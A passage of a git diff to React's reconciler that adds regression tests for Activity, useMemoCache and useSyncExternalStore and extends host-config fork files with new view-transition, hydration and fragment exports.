+      Scheduler.log('render: ' + value);
+      return null;
+    }
+
+    function App({value, mode}) {
+      return (
+        <React.Activity mode={mode}>
+          <Child value={value} />
+        </React.Activity>
+      );
+    }
+
+    const root = ReactNoop.createRoot();
+
+    // Mount hidden
+    await act(async () => root.render(<App value={1} mode="hidden" />));
+    assertLog(['render: 1', 'insertion create: 1']);
+
+    // Update, still hidden
+    await act(async () => root.render(<App value={2} mode="hidden" />));
+
+    // Bug in enableViewTransition. Insertion and layout see stale closure.
+    assertLog([
+      'render: 2',
+      ...(gate('enableViewTransition') &&
+      !gate('enableEffectEventMutationPhase')
+        ? ['insertion destroy: 1', 'insertion create: 1']
+        : ['insertion destroy: 2', 'insertion create: 2']),
+    ]);
+
+    // Switch to visible
+    await act(async () => root.render(<App value={2} mode="visible" />));
+
+    // Bug in enableViewTransition. Even when switching to visible, sees stale closure.
+    assertLog([
+      'render: 2',
+      ...(gate('enableViewTransition') &&
+      !gate('enableEffectEventMutationPhase')
+        ? ['insertion destroy: 1', 'insertion create: 1', 'layout create: 1']
+        : ['insertion destroy: 2', 'insertion create: 2', 'layout create: 2']),
+    ]);
+  });
 });
diff --git a/packages/react-reconciler/src/__tests__/useMemoCache-test.js b/packages/react-reconciler/src/__tests__/useMemoCache-test.js
index a3dbeeb38ce1..13c483a6308a 100644
--- a/packages/react-reconciler/src/__tests__/useMemoCache-test.js
+++ b/packages/react-reconciler/src/__tests__/useMemoCache-test.js
@@ -12,7 +12,9 @@ let React;
 let ReactNoop;
 let Scheduler;
 let act;
+let assertConsoleErrorDev;
 let assertLog;
+let useMemo;
 let useState;
 let useMemoCache;
 let MemoCacheSentinel;
@@ -25,8 +27,11 @@ describe('useMemoCache()', () => {
     React = require('react');
     ReactNoop = require('react-noop-renderer');
     Scheduler = require('scheduler');
-    act = require('internal-test-utils').act;
-    assertLog = require('internal-test-utils').assertLog;
+    const InternalTestUtils = require('internal-test-utils');
+    act = InternalTestUtils.act;
+    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;
+    assertLog = InternalTestUtils.assertLog;
+    useMemo = React.useMemo;
     useMemoCache = require('react/compiler-runtime').c;
     useState = React.useState;
     MemoCacheSentinel = Symbol.for('react.memo_cache_sentinel');
@@ -56,7 +61,6 @@ describe('useMemoCache()', () => {
     ErrorBoundary = _ErrorBoundary;
   });
 
-  // @gate enableUseMemoCacheHook
   it('render component using cache', async () => {
     function Component(props) {
       const cache = useMemoCache(1);
@@ -73,7 +77,6 @@ describe('useMemoCache()', () => {
     expect(root).toMatchRenderedOutput('Ok');
   });
 
-  // @gate enableUseMemoCacheHook
   it('update component using cache', async () => {
     let setX;
     let forceUpdate;
@@ -143,7 +146,6 @@ describe('useMemoCache()', () => {
     expect(data).toBe(data1); // confirm that the cache persisted across renders
   });
 
-  // @gate enableUseMemoCacheHook
   it('update component using cache with setstate during render', async () => {
     let setN;
     function Component(props) {
@@ -208,7 +210,6 @@ describe('useMemoCache()', () => {
     expect(data).toBe(data0);
   });
 
-  // @gate enableUseMemoCacheHook
   it('update component using cache with throw during render', async () => {
     let setN;
     let shouldFail = true;
@@ -258,8 +259,6 @@ describe('useMemoCache()', () => {
       return `${data.text} (n=${props.n})`;
     });
 
-    spyOnDev(console, 'error');
-
     const root = ReactNoop.createRoot();
     await act(() => {
       root.render(
@@ -276,6 +275,10 @@ describe('useMemoCache()', () => {
       // this triggers a throw.
       setN(1);
     });
+    assertConsoleErrorDev([
+      'Error: There was an error during concurrent rendering but React was able to recover by instead synchronously rendering the entire root.' +
+        '\n    in <stack>',
+    ]);
     expect(root).toMatchRenderedOutput('Count 0 (n=1)');
     expect(Text).toBeCalledTimes(2);
     expect(data).toBe(data0);
@@ -291,7 +294,6 @@ describe('useMemoCache()', () => {
     expect(data).toBe(data1); // confirm that the cache persisted across renders
   });
 
-  // @gate enableUseMemoCacheHook
   it('update component and custom hook with caches', async () => {
     let setX;
     let forceUpdate;
@@ -368,7 +370,6 @@ describe('useMemoCache()', () => {
     expect(data).toBe(data1); // confirm that the cache persisted across renders
   });
 
-  // @gate enableUseMemoCacheHook
   it('reuses computations from suspended/interrupted render attempts during an update', async () => {
     // This test demonstrates the benefit of a shared memo cache. By "shared" I
     // mean multiple concurrent render attempts of the same component/hook use
@@ -621,4 +622,56 @@ describe('useMemoCache()', () => {
       </>,
     );
   });
+
+  it('(repro) infinite renders when used with setState during render', async () => {
+    // Output of react compiler on `useUserMemo`
+    function useCompilerMemo(value) {
+      let arr;
+      const $ = useMemoCache(2);
+      if ($[0] !== value) {
+        arr = [value];
+        $[0] = value;
+        $[1] = arr;
+      } else {
+        arr = $[1];
+      }
+      return arr;
+    }
+
+    // Baseline / source code
+    function useManualMemo(value) {
+      return useMemo(() => [value], [value]);
+    }
+
+    function makeComponent(hook) {
+      return function Component({value}) {
+        const state = hook(value);
+        const [prevState, setPrevState] = useState(null);
+        if (state !== prevState) {
+          setPrevState(state);
+        }
+        return <div>{state.join(',')}</div>;
+      };
+    }
+
+    /**
+     * Test with useMemoCache
+     */
+    let root = ReactNoop.createRoot();
+    const CompilerMemoComponent = makeComponent(useCompilerMemo);
+    await act(() => {
+      root.render(<CompilerMemoComponent value={2} />);
+    });
+    expect(root).toMatchRenderedOutput(<div>2</div>);
+
+    /**
+     * Test with useMemo
+     */
+    root = ReactNoop.createRoot();
+    const HookMemoComponent = makeComponent(useManualMemo);
+    await act(() => {
+      root.render(<HookMemoComponent value={2} />);
+    });
+    expect(root).toMatchRenderedOutput(<div>2</div>);
+  });
 });
diff --git a/packages/react-reconciler/src/__tests__/useRef-test.internal.js b/packages/react-reconciler/src/__tests__/useRef-test.internal.js
index eef278f4d778..2a6ab6ab58cc 100644
--- a/packages/react-reconciler/src/__tests__/useRef-test.internal.js
+++ b/packages/react-reconciler/src/__tests__/useRef-test.internal.js
@@ -8,8 +8,6 @@
  * @jest-environment node
  */
 
-/* eslint-disable no-func-assign */
-
 'use strict';
 
 describe('useRef', () => {
@@ -30,9 +28,6 @@ describe('useRef', () => {
     ReactNoop = require('react-noop-renderer');
     Scheduler = require('scheduler');
 
-    const ReactFeatureFlags = require('shared/ReactFeatureFlags');
-    ReactFeatureFlags.debugRenderPhaseSideEffectsForStrictMode = false;
-
     act = require('internal-test-utils').act;
     useCallback = React.useCallback;
     useEffect = React.useEffect;
diff --git a/packages/react-reconciler/src/__tests__/useSyncExternalStore-test.js b/packages/react-reconciler/src/__tests__/useSyncExternalStore-test.js
index 3493c001c430..eb5bc6ed98cd 100644
--- a/packages/react-reconciler/src/__tests__/useSyncExternalStore-test.js
+++ b/packages/react-reconciler/src/__tests__/useSyncExternalStore-test.js
@@ -24,6 +24,9 @@ let startTransition;
 let waitFor;
 let waitForAll;
 let assertLog;
+let Suspense;
+let useMemo;
+let textCache;
 
 // This tests the native useSyncExternalStore implementation, not the shim.
 // Tests that apply to both the native implementation and the shim should go
@@ -45,7 +48,9 @@ describe('useSyncExternalStore', () => {
     use = React.use;
     useSyncExternalStore = React.useSyncExternalStore;
     startTransition = React.startTransition;
-
+    Suspense = React.Suspense;
+    useMemo = React.useMemo;
+    textCache = new Map();
     const InternalTestUtils = require('internal-test-utils');
     waitFor = InternalTestUtils.waitFor;
     waitForAll = InternalTestUtils.waitForAll;
@@ -54,6 +59,60 @@ describe('useSyncExternalStore', () => {
     act = require('internal-test-utils').act;
   });
 
+  function resolveText(text) {
+    const record = textCache.get(text);
+    if (record === undefined) {
+      const newRecord = {
+        status: 'resolved',
+        value: text,
+      };
+      textCache.set(text, newRecord);
+    } else if (record.status === 'pending') {
+      const thenable = record.value;
+      record.status = 'resolved';
+      record.value = text;
+      thenable.pings.forEach(t => t());
+    }
+  }
+  function readText(text) {
+    const record = textCache.get(text);
+    if (record !== undefined) {
+      switch (record.status) {
+        case 'pending':
+          throw record.value;
+        case 'rejected':
+          throw record.value;
+        case 'resolved':
+          return record.value;
+      }
+    } else {
+      const thenable = {
+        pings: [],
+        then(resolve) {
+          if (newRecord.status === 'pending') {
+            thenable.pings.push(resolve);
+          } else {
+            Promise.resolve().then(() => resolve(newRecord.value));
+          }
+        },
+      };
+
+      const newRecord = {
+        status: 'pending',
+        value: thenable,
+      };
+      textCache.set(text, newRecord);
+
+      throw thenable;
+    }
+  }
+
+  function AsyncText({text}) {
+    const result = readText(text);
+    Scheduler.log(text);
+    return result;
+  }
+
   function Text({text}) {
     Scheduler.log(text);
     return text;
@@ -91,13 +150,9 @@ describe('useSyncExternalStore', () => {
 
       const Child = forwardRef(({store, label}, ref) => {
         const value = useSyncExternalStore(store.subscribe, store.getState);
-        useImperativeHandle(
-          ref,
-          () => {
-            return value;
-          },
-          [],
-        );
+        useImperativeHandle(ref, () => {
+          return value;
+        }, []);
         return <Text text={label + value} />;
       });
 
@@ -278,6 +333,8 @@ describe('useSyncExternalStore', () => {
         // This should a synchronous re-render of A using the updated value. In
         // this test, this causes A to suspend.
         'Suspend A',
+        // pre-warming
+        'B: Updated',
       ]);
       // Nothing has committed, because A suspended and no fallback
       // was provided.
@@ -294,4 +351,94 @@ describe('useSyncExternalStore', () => {
       );
     },
   );
+
+  it('regression: does not infinite loop for only changing store reference in render', async () => {
+    let store = {value: {}};
+    let listeners = [];
+
+    const ExternalStore = {
+      set(value) {
+        // Change the store ref, but not the value.
+        // This will cause a new snapshot to be returned if set is called in render,
+        // but the value is the same. Stores should not do this, but if they do
+        // we shouldn't infinitely render.
+        store = {...store};
+        setTimeout(() => {
+          store = {value};
+          emitChange();
+        }, 100);
+        emitChange();
+      },
+      subscribe(listener) {
+        listeners = [...listeners, listener];
+        return () => {
+          listeners = listeners.filter(l => l !== listener);
+        };
+      },
+      getSnapshot() {
+        return store;
+      },
+    };
+
+    function emitChange() {
+      listeners.forEach(l => l());
+    }
+
+    function StoreText() {
+      const {value} = useSyncExternalStore(
+        ExternalStore.subscribe,
+        ExternalStore.getSnapshot,
+      );
+
+      useMemo(() => {
+        // Set the store value on mount.
+        // This breaks the rules of React, but should be handled gracefully.
+        const newValue = {text: 'B'};
+        if (value == null || newValue !== value) {
+          ExternalStore.set(newValue);
+        }
+      }, []);
+
+      return <Text text={value.text || '(not set)'} />;
+    }
+
+    function App() {
+      return (
+        <>
+          <Suspense fallback={'Loading...'}>
+            <AsyncText text={'A'} />
+            <StoreText />
+          </Suspense>
+        </>
+      );
+    }
+
+    const root = ReactNoop.createRoot();
+
+    // The initial render suspends.
+    await act(async () => {
+      root.render(<App />);
+    });
+
+    // pre-warming
+    assertLog(['(not set)']);
+
+    expect(root).toMatchRenderedOutput('Loading...');
+
+    // Resolve the data and finish rendering.
+    // When resolving, the store should not get stuck in an infinite loop.
+    await act(() => {
+      resolveText('A');
+    });
+    assertLog([
+      'A',
+      'B',
+      'A',
+      'B',
+      'B',
+      ...(gate('alwaysThrottleRetries') ? [] : ['B']),
+    ]);
+
+    expect(root).toMatchRenderedOutput('AB');
+  });
 });
diff --git a/packages/react-reconciler/src/forks/ReactFiberConfig.art.js b/packages/react-reconciler/src/forks/ReactFiberConfig.art.js
index 867ca996ec5a..1fb43b5ade8d 100644
--- a/packages/react-reconciler/src/forks/ReactFiberConfig.art.js
+++ b/packages/react-reconciler/src/forks/ReactFiberConfig.art.js
@@ -8,3 +8,4 @@
  */
 
 export * from 'react-art/src/ReactFiberConfigART';
+export * from 'react-client/src/ReactClientConsoleConfigBrowser';
diff --git a/packages/react-reconciler/src/forks/ReactFiberConfig.custom.js b/packages/react-reconciler/src/forks/ReactFiberConfig.custom.js
index 7ba17939736d..1785fa9aaec9 100644
--- a/packages/react-reconciler/src/forks/ReactFiberConfig.custom.js
+++ b/packages/react-reconciler/src/forks/ReactFiberConfig.custom.js
@@ -24,23 +24,34 @@
 // really an argument to a top-level wrapping function.
 
 declare const $$$config: any;
-export opaque type Type = mixed; // eslint-disable-line no-undef
-export opaque type Props = mixed; // eslint-disable-line no-undef
-export opaque type Container = mixed; // eslint-disable-line no-undef
-export opaque type Instance = mixed; // eslint-disable-line no-undef
-export opaque type TextInstance = mixed; // eslint-disable-line no-undef
-export opaque type SuspenseInstance = mixed; // eslint-disable-line no-undef
-export opaque type HydratableInstance = mixed; // eslint-disable-line no-undef
-export opaque type PublicInstance = mixed; // eslint-disable-line no-undef
-export opaque type HostContext = mixed; // eslint-disable-line no-undef
-export opaque type UpdatePayload = mixed; // eslint-disable-line no-undef
-export opaque type ChildSet = mixed; // eslint-disable-line no-undef
-export opaque type TimeoutHandle = mixed; // eslint-disable-line no-undef
-export opaque type NoTimeout = mixed; // eslint-disable-line no-undef
-export opaque type RendererInspectionConfig = mixed; // eslint-disable-line no-undef
-export opaque type TransitionStatus = mixed; // eslint-disable-line no-undef
-export opaque type FormInstance = mixed; // eslint-disable-line no-undef
+export opaque type Type = mixed;
+export opaque type Props = mixed;
+export opaque type Container = mixed;
+export opaque type Instance = mixed;
+export opaque type TextInstance = mixed;
+export opaque type ActivityInstance = mixed;
+export opaque type SuspenseInstance = mixed;
+export opaque type HydratableInstance = mixed;
+export opaque type PublicInstance = mixed;
+export opaque type HostContext = mixed;
+export opaque type UpdatePayload = mixed;
+export opaque type ChildSet = mixed;
+export opaque type TimeoutHandle = mixed;
+export opaque type NoTimeout = mixed;
+export opaque type RendererInspectionConfig = mixed;
+export opaque type TransitionStatus = mixed;
+export opaque type FormInstance = mixed;
+export opaque type SuspendedState = mixed;
+export type RunningViewTransition = mixed;
+export type ViewTransitionInstance = null | {name: string, ...};
+export opaque type InstanceMeasurement = mixed;
 export type EventResponder = any;
+export type GestureTimeline = any;
+export type FragmentInstanceType = null;
+
+export const rendererVersion = $$$config.rendererVersion;
+export const rendererPackageName = $$$config.rendererPackageName;
+export const extraDevToolsConfig = $$$config.extraDevToolsConfig;
 
 export const getPublicInstance = $$$config.getPublicInstance;
 export const getRootHostContext = $$$config.getRootHostContext;
@@ -48,10 +59,12 @@ export const getChildHostContext = $$$config.getChildHostContext;
 export const prepareForCommit = $$$config.prepareForCommit;
 export const resetAfterCommit = $$$config.resetAfterCommit;
 export const createInstance = $$$config.createInstance;
+export const cloneMutableInstance = $$$config.cloneMutableInstance;
 export const appendInitialChild = $$$config.appendInitialChild;
 export const finalizeInitialChildren = $$$config.finalizeInitialChildren;
 export const shouldSetTextContent = $$$config.shouldSetTextContent;
 export const createTextInstance = $$$config.createTextInstance;
+export const cloneMutableTextInstance = $$$config.cloneMutableTextInstance;
 export const scheduleTimeout = $$$config.scheduleTimeout;
 export const cancelTimeout = $$$config.cancelTimeout;
 export const noTimeout = $$$config.noTimeout;
@@ -69,17 +82,28 @@ export const getInstanceFromScope = $$$config.getInstanceFromScope;
 export const setCurrentUpdatePriority = $$$config.setCurrentUpdatePriority;
 export const getCurrentUpdatePriority = $$$config.getCurrentUpdatePriority;
 export const resolveUpdatePriority = $$$config.resolveUpdatePriority;
+export const trackSchedulerEvent = $$$config.trackSchedulerEvent;
+export const resolveEventType = $$$config.resolveEventType;
+export const resolveEventTimeStamp = $$$config.resolveEventTimeStamp;
 export const shouldAttemptEagerTransition =
   $$$config.shouldAttemptEagerTransition;
 export const detachDeletedInstance = $$$config.detachDeletedInstance;
 export const requestPostPaintCallback = $$$config.requestPostPaintCallback;
 export const maySuspendCommit = $$$config.maySuspendCommit;
+export const maySuspendCommitOnUpdate = $$$config.maySuspendCommitOnUpdate;
+export const maySuspendCommitInSyncRender =
+  $$$config.maySuspendCommitInSyncRender;
 export const preloadInstance = $$$config.preloadInstance;
 export const startSuspendingCommit = $$$config.startSuspendingCommit;
 export const suspendInstance = $$$config.suspendInstance;
+export const suspendOnActiveViewTransition =
+  $$$config.suspendOnActiveViewTransition;
 export const waitForCommitToBeReady = $$$config.waitForCommitToBeReady;
+export const getSuspendedCommitReason = $$$config.getSuspendedCommitReason;
 export const NotPendingTransition = $$$config.NotPendingTransition;
+export const HostTransitionContext = $$$config.HostTransitionContext;
 export const resetFormInstance = $$$config.resetFormInstance;
+export const bindToConsole = $$$config.bindToConsole;
 
 // -------------------
 //      Microtasks
@@ -119,7 +143,38 @@ export const hideInstance = $$$config.hideInstance;
 export const hideTextInstance = $$$config.hideTextInstance;
 export const unhideInstance = $$$config.unhideInstance;
 export const unhideTextInstance = $$$config.unhideTextInstance;
+export const applyViewTransitionName = $$$config.applyViewTransitionName;
+export const restoreViewTransitionName = $$$config.restoreViewTransitionName;
+export const cancelViewTransitionName = $$$config.cancelViewTransitionName;
+export const cancelRootViewTransitionName =
+  $$$config.cancelRootViewTransitionName;
+export const restoreRootViewTransitionName =
+  $$$config.restoreRootViewTransitionName;
+export const cloneRootViewTransitionContainer =
+  $$$config.cloneRootViewTransitionContainer;
+export const removeRootViewTransitionClone =
+  $$$config.removeRootViewTransitionClone;
+export const measureInstance = $$$config.measureInstance;
+export const measureClonedInstance = $$$config.measureClonedInstance;
+export const wasInstanceInViewport = $$$config.wasInstanceInViewport;
+export const hasInstanceChanged = $$$config.hasInstanceChanged;
+export const hasInstanceAffectedParent = $$$config.hasInstanceAffectedParent;
+export const startViewTransition = $$$config.startViewTransition;
+export const startGestureTransition = $$$config.startGestureTransition;
+export const stopViewTransition = $$$config.stopViewTransition;
+export const addViewTransitionFinishedListener =
+  $$$config.addViewTransitionFinishedListener;
+export const getCurrentGestureOffset = $$$config.getCurrentGestureOffset;
+export const createViewTransitionInstance =
+  $$$config.createViewTransitionInstance;
 export const clearContainer = $$$config.clearContainer;
+export const createFragmentInstance = $$$config.createFragmentInstance;
+export const updateFragmentInstanceFiber =
+  $$$config.updateFragmentInstanceFiber;
+export const commitNewChildToFragmentInstance =
+  $$$config.commitNewChildToFragmentInstance;
+export const deleteChildFromFragmentInstance =
+  $$$config.deleteChildFromFragmentInstance;
 
 // -------------------
 //     Persistence
@@ -147,25 +202,45 @@ export const registerSuspenseInstanceRetry =
 export const canHydrateFormStateMarker = $$$config.canHydrateFormStateMarker;
 export const isFormStateMarkerMatching = $$$config.isFormStateMarkerMatching;
 export const getNextHydratableSibling = $$$config.getNextHydratableSibling;
+export const getNextHydratableSiblingAfterSingleton =
+  $$$config.getNextHydratableSiblingAfterSingleton;
 export const getFirstHydratableChild = $$$config.getFirstHydratableChild;
 export const getFirstHydratableChildWithinContainer =
   $$$config.getFirstHydratableChildWithinContainer;
+export const getFirstHydratableChildWithinActivityInstance =
+  $$$config.getFirstHydratableChildWithinActivityInstance;
 export const getFirstHydratableChildWithinSuspenseInstance =
   $$$config.getFirstHydratableChildWithinSuspenseInstance;
+export const getFirstHydratableChildWithinSingleton =
+  $$$config.getFirstHydratableChildWithinSingleton;
 export const canHydrateInstance = $$$config.canHydrateInstance;
 export const canHydrateTextInstance = $$$config.canHydrateTextInstance;
+export const canHydrateActivityInstance = $$$config.canHydrateActivityInstance;
 export const canHydrateSuspenseInstance = $$$config.canHydrateSuspenseInstance;
 export const hydrateInstance = $$$config.hydrateInstance;
 export const hydrateTextInstance = $$$config.hydrateTextInstance;
+export const hydrateActivityInstance = $$$config.hydrateActivityInstance;
 export const hydrateSuspenseInstance = $$$config.hydrateSuspenseInstance;
+export const getNextHydratableInstanceAfterActivityInstance =
+  $$$config.getNextHydratableInstanceAfterActivityInstance;
 export const getNextHydratableInstanceAfterSuspenseInstance =
   $$$config.getNextHydratableInstanceAfterSuspenseInstance;
+export const commitHydratedInstance = $$$config.commitHydratedInstance;
 export const commitHydratedContainer = $$$config.commitHydratedContainer;
+export const commitHydratedActivityInstance =
+  $$$config.commitHydratedActivityInstance;
 export const commitHydratedSuspenseInstance =
   $$$config.commitHydratedSuspenseInstance;
+export const finalizeHydratedChildren = $$$config.finalizeHydratedChildren;
+export const flushHydrationEvents = $$$config.flushHydrationEvents;
+export const clearActivityBoundary = $$$config.clearActivityBoundary;
 export const clearSuspenseBoundary = $$$config.clearSuspenseBoundary;
+export const clearActivityBoundaryFromContainer =
+  $$$config.clearActivityBoundaryFromContainer;
 export const clearSuspenseBoundaryFromContainer =
   $$$config.clearSuspenseBoundaryFromContainer;
+export const hideDehydratedBoundary = $$$config.hideDehydratedBoundary;
+export const unhideDehydratedBoundary = $$$config.unhideDehydratedBoundary;
 export const shouldDeleteUnhydratedTailInstances =
   $$$config.shouldDeleteUnhydratedTailInstances;
 export const diffHydratedPropsForDevWarnings =
@@ -183,7 +258,7 @@ export const validateHydratableTextInstance =
 //     (optional)
 // -------------------
 export type HoistableRoot = mixed;
-export type Resource = mixed; // eslint-disable-line no-undef
+export type Resource = mixed;
 export const supportsResources = $$$config.supportsResources;
 export const isHostHoistableType = $$$config.isHostHoistableType;
 export const getHoistableRoot = $$$config.getHoistableRoot;
@@ -205,7 +280,7 @@ export const suspendResource = $$$config.suspendResource;
 // -------------------
 export const supportsSingletons = $$$config.supportsSingletons;
 export const resolveSingletonInstance = $$$config.resolveSingletonInstance;
-export const clearSingleton = $$$config.clearSingleton;
 export const acquireSingletonInstance = $$$config.acquireSingletonInstance;
 export const releaseSingletonInstance = $$$config.releaseSingletonInstance;
 export const isHostSingletonType = $$$config.isHostSingletonType;
+export const isSingletonScope = $$$config.isSingletonScope;
diff --git a/packages/react-reconciler/src/forks/ReactFiberConfig.dom.js b/packages/react-reconciler/src/forks/ReactFiberConfig.dom.js
index 4932b1a787bb..fa7dbe312328 100644
--- a/packages/react-reconciler/src/forks/ReactFiberConfig.dom.js
+++ b/packages/react-reconciler/src/forks/ReactFiberConfig.dom.js
@@ -8,3 +8,4 @@
  */
 
 export * from 'react-dom-bindings/src/client/ReactFiberConfigDOM';
+export * from 'react-client/src/ReactClientConsoleConfigBrowser';
diff --git a/packages/react-reconciler/src/forks/ReactFiberConfig.fabric.js b/packages/react-reconciler/src/forks/ReactFiberConfig.fabric.js
index f1787a68e845..2fb8768972da 100644
--- a/packages/react-reconciler/src/forks/ReactFiberConfig.fabric.js
+++ b/packages/react-reconciler/src/forks/ReactFiberConfig.fabric.js
@@ -8,3 +8,4 @@
  */
 
 export * from 'react-native-renderer/src/ReactFiberConfigFabric';
+export * from 'react-client/src/ReactClientConsoleConfigPlain';
diff --git a/packages/react-reconciler/src/forks/ReactFiberConfig.markup.js b/packages/react-reconciler/src/forks/ReactFiberConfig.markup.js
new file mode 100644
index 000000000000..88d0c020bbe0
--- /dev/null
+++ b/packages/react-reconciler/src/forks/ReactFiberConfig.markup.js
@@ -0,0 +1,16 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// Re-exported just because we always type check react-reconciler even in
+// dimensions where it's not used.
+export * from 'react-dom-bindings/src/client/ReactFiberConfigDOM';
+export * from 'react-client/src/ReactClientConsoleConfigBrowser';
+
+// eslint-disable-next-line react-internal/prod-error-codes
+throw new Error('Fiber is not used in react-markup');
diff --git a/packages/react-reconciler/src/forks/ReactFiberConfig.native.js b/packages/react-reconciler/src/forks/ReactFiberConfig.native.js
index 3f8a28688b71..3e06abc660ef 100644
--- a/packages/react-reconciler/src/forks/ReactFiberConfig.native.js
+++ b/packages/react-reconciler/src/forks/ReactFiberConfig.native.js
@@ -8,3 +8,4 @@
  */
 
 export * from 'react-native-renderer/src/ReactFiberConfigNative';
+export * from 'react-client/src/ReactClientConsoleConfigPlain';
diff --git a/packages/react-reconciler/src/forks/ReactFiberConfig.noop.js b/packages/react-reconciler/src/forks/ReactFiberConfig.noop.js
new file mode 100644
index 000000000000..b9e2866605a4
--- /dev/null
+++ b/packages/react-reconciler/src/forks/ReactFiberConfig.noop.js
@@ -0,0 +1,281 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// This is a host config that's used for the internal `react-noop-renderer`.
+//
+// Its API lets you pass the host config as an argument.
+// However, inside the `react-reconciler` we treat host config as a module.
+// This file is a shim between two worlds.
+//
+// It works because the `react-reconciler` bundle is wrapped in something like:
+//
+// module.exports = function ($$$config) {
+//   /* reconciler code */
+// }
+//
+// So `$$$config` looks like a global variable, but it's
+// really an argument to a top-level wrapping function.
+
+export * from 'react-noop-renderer/src/ReactFiberConfigNoop';
+
+declare const $$$config: $FlowFixMe;
+export opaque type Type = mixed;
+export opaque type Props = mixed;
+export opaque type ActivityInstance = mixed;
+export opaque type SuspenseInstance = mixed;
+export opaque type HydratableInstance = mixed;
+export opaque type UpdatePayload = mixed;
+export opaque type ChildSet = mixed;
+export opaque type TimeoutHandle = mixed;
+export opaque type NoTimeout = mixed;
+export opaque type RendererInspectionConfig = mixed;
+export opaque type FormInstance = mixed;
+export opaque type SuspendedState = mixed;
+export type RunningViewTransition = mixed;
+export type ViewTransitionInstance = null | {name: string, ...};
+export opaque type InstanceMeasurement = mixed;
+export type EventResponder = any;
+export type GestureTimeline = any;
+export type FragmentInstanceType = null;
+
+export const rendererVersion = $$$config.rendererVersion;
+export const rendererPackageName = $$$config.rendererPackageName;
+export const extraDevToolsConfig = $$$config.extraDevToolsConfig;
+
+export const getPublicInstance = $$$config.getPublicInstance;
+export const getRootHostContext = $$$config.getRootHostContext;
+export const getChildHostContext = $$$config.getChildHostContext;
+export const prepareForCommit = $$$config.prepareForCommit;
+export const resetAfterCommit = $$$config.resetAfterCommit;
+export const createInstance = $$$config.createInstance;
+export const cloneMutableInstance = $$$config.cloneMutableInstance;
+export const appendInitialChild = $$$config.appendInitialChild;
+export const finalizeInitialChildren = $$$config.finalizeInitialChildren;
+export const shouldSetTextContent = $$$config.shouldSetTextContent;
+export const createTextInstance = $$$config.createTextInstance;
+export const cloneMutableTextInstance = $$$config.cloneMutableTextInstance;
+export const scheduleTimeout = $$$config.scheduleTimeout;
+export const cancelTimeout = $$$config.cancelTimeout;
+export const noTimeout = $$$config.noTimeout;
+export const isPrimaryRenderer = $$$config.isPrimaryRenderer;
+export const warnsIfNotActing = $$$config.warnsIfNotActing;
+export const supportsMutation = $$$config.supportsMutation;
+export const supportsPersistence = $$$config.supportsPersistence;
+export const supportsHydration = $$$config.supportsHydration;
+export const getInstanceFromNode = $$$config.getInstanceFromNode;
+export const beforeActiveInstanceBlur = $$$config.beforeActiveInstanceBlur;
+export const afterActiveInstanceBlur = $$$config.afterActiveInstanceBlur;
+export const preparePortalMount = $$$config.preparePortalMount;
+export const prepareScopeUpdate = $$$config.prepareScopeUpdate;
+export const getInstanceFromScope = $$$config.getInstanceFromScope;
+export const setCurrentUpdatePriority = $$$config.setCurrentUpdatePriority;
+export const getCurrentUpdatePriority = $$$config.getCurrentUpdatePriority;
+export const resolveUpdatePriority = $$$config.resolveUpdatePriority;
+export const trackSchedulerEvent = $$$config.trackSchedulerEvent;
+export const resolveEventType = $$$config.resolveEventType;
+export const resolveEventTimeStamp = $$$config.resolveEventTimeStamp;
+export const shouldAttemptEagerTransition =
+  $$$config.shouldAttemptEagerTransition;
+export const detachDeletedInstance = $$$config.detachDeletedInstance;
+export const requestPostPaintCallback = $$$config.requestPostPaintCallback;
+export const maySuspendCommit = $$$config.maySuspendCommit;
+export const maySuspendCommitOnUpdate = $$$config.maySuspendCommitOnUpdate;
+export const maySuspendCommitInSyncRender =
+  $$$config.maySuspendCommitInSyncRender;
+export const preloadInstance = $$$config.preloadInstance;
+export const startSuspendingCommit = $$$config.startSuspendingCommit;
+export const suspendInstance = $$$config.suspendInstance;
+export const suspendOnActiveViewTransition =
+  $$$config.suspendOnActiveViewTransition;
+export const waitForCommitToBeReady = $$$config.waitForCommitToBeReady;
+export const getSuspendedCommitReason = $$$config.getSuspendedCommitReason;
+export const NotPendingTransition = $$$config.NotPendingTransition;
+export const HostTransitionContext = $$$config.HostTransitionContext;
+export const resetFormInstance = $$$config.resetFormInstance;
+export const bindToConsole = $$$config.bindToConsole;
+
+// -------------------
+//      Microtasks
+//     (optional)
+// -------------------
+export const supportsMicrotasks = $$$config.supportsMicrotasks;
+export const scheduleMicrotask = $$$config.scheduleMicrotask;
+
+// -------------------
+//      Test selectors
+//     (optional)
+// -------------------
+export const supportsTestSelectors = $$$config.supportsTestSelectors;
+export const findFiberRoot = $$$config.findFiberRoot;
+export const getBoundingRect = $$$config.getBoundingRect;
+export const getTextContent = $$$config.getTextContent;
+export const isHiddenSubtree = $$$config.isHiddenSubtree;
+export const matchAccessibilityRole = $$$config.matchAccessibilityRole;
+export const setFocusIfFocusable = $$$config.setFocusIfFocusable;
+export const setupIntersectionObserver = $$$config.setupIntersectionObserver;
+
+// -------------------
+//      Mutation
+//     (optional)
+// -------------------
+export const appendChild = $$$config.appendChild;
+export const appendChildToContainer = $$$config.appendChildToContainer;
+export const commitTextUpdate = $$$config.commitTextUpdate;
+export const commitMount = $$$config.commitMount;
+export const commitUpdate = $$$config.commitUpdate;
+export const insertBefore = $$$config.insertBefore;
+export const insertInContainerBefore = $$$config.insertInContainerBefore;
+export const removeChild = $$$config.removeChild;
+export const removeChildFromContainer = $$$config.removeChildFromContainer;
+export const resetTextContent = $$$config.resetTextContent;
+export const hideInstance = $$$config.hideInstance;
+export const hideTextInstance = $$$config.hideTextInstance;
+export const unhideInstance = $$$config.unhideInstance;
+export const unhideTextInstance = $$$config.unhideTextInstance;
+export const applyViewTransitionName = $$$config.applyViewTransitionName;
+export const restoreViewTransitionName = $$$config.restoreViewTransitionName;
+export const cancelViewTransitionName = $$$config.cancelViewTransitionName;
+export const cancelRootViewTransitionName =
+  $$$config.cancelRootViewTransitionName;
+export const restoreRootViewTransitionName =
+  $$$config.restoreRootViewTransitionName;
+export const cloneRootViewTransitionContainer =
+  $$$config.cloneRootViewTransitionContainer;
+export const removeRootViewTransitionClone =
+  $$$config.removeRootViewTransitionClone;
